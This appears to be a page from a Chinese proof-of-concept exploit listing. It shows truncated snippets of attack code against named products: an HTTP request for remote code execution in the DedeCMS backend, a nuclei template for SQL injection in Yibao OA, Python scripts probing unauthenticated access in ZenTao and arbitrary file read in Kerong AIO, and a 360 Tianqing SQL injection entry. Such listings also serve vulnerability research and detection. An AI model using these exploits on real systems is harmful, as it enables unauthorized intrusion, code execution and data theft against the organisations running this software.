POC 第24页
排序
DedeCMSV5.7.114后台article_template_rand.php存在远程代码执行漏洞
POST /dede/article_template_rand.php HTTP/1.1Host: 127.0.0.11User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0Accept: text/html,applicati...
5个月前
【通用】易宝OA GetUDEFStreamID Sql注入
fofa语句yakit插件 uuidpocyakit yamlnuclei yamlid: yibao_OA-GetUDEFStreamID-sqli info: name: 易宝OA-GetUDEFStreamID-SQL注入 author: dreamer292 from 秃兔安全_tutusec.com severity: hi...
5个月前禅道研发项⽬管理系统未授权
import requests def check(url):url1 = url+’/misc-captcha-user.html’# url1 = url+’/index.php?m=misc&f=captcha&sessionVar=user’#非伪静态版本按照此格式传参# url2 = url+’/...
5个月前
科荣 AIO 管理系统任意文件读取
import base64import requests def poc(ip, file_path): # 构造URL地址url = f’http://{ip}/UtilServlet’headers = { 登录可见余下内容
5个月前360天擎 – sql注入
5个月前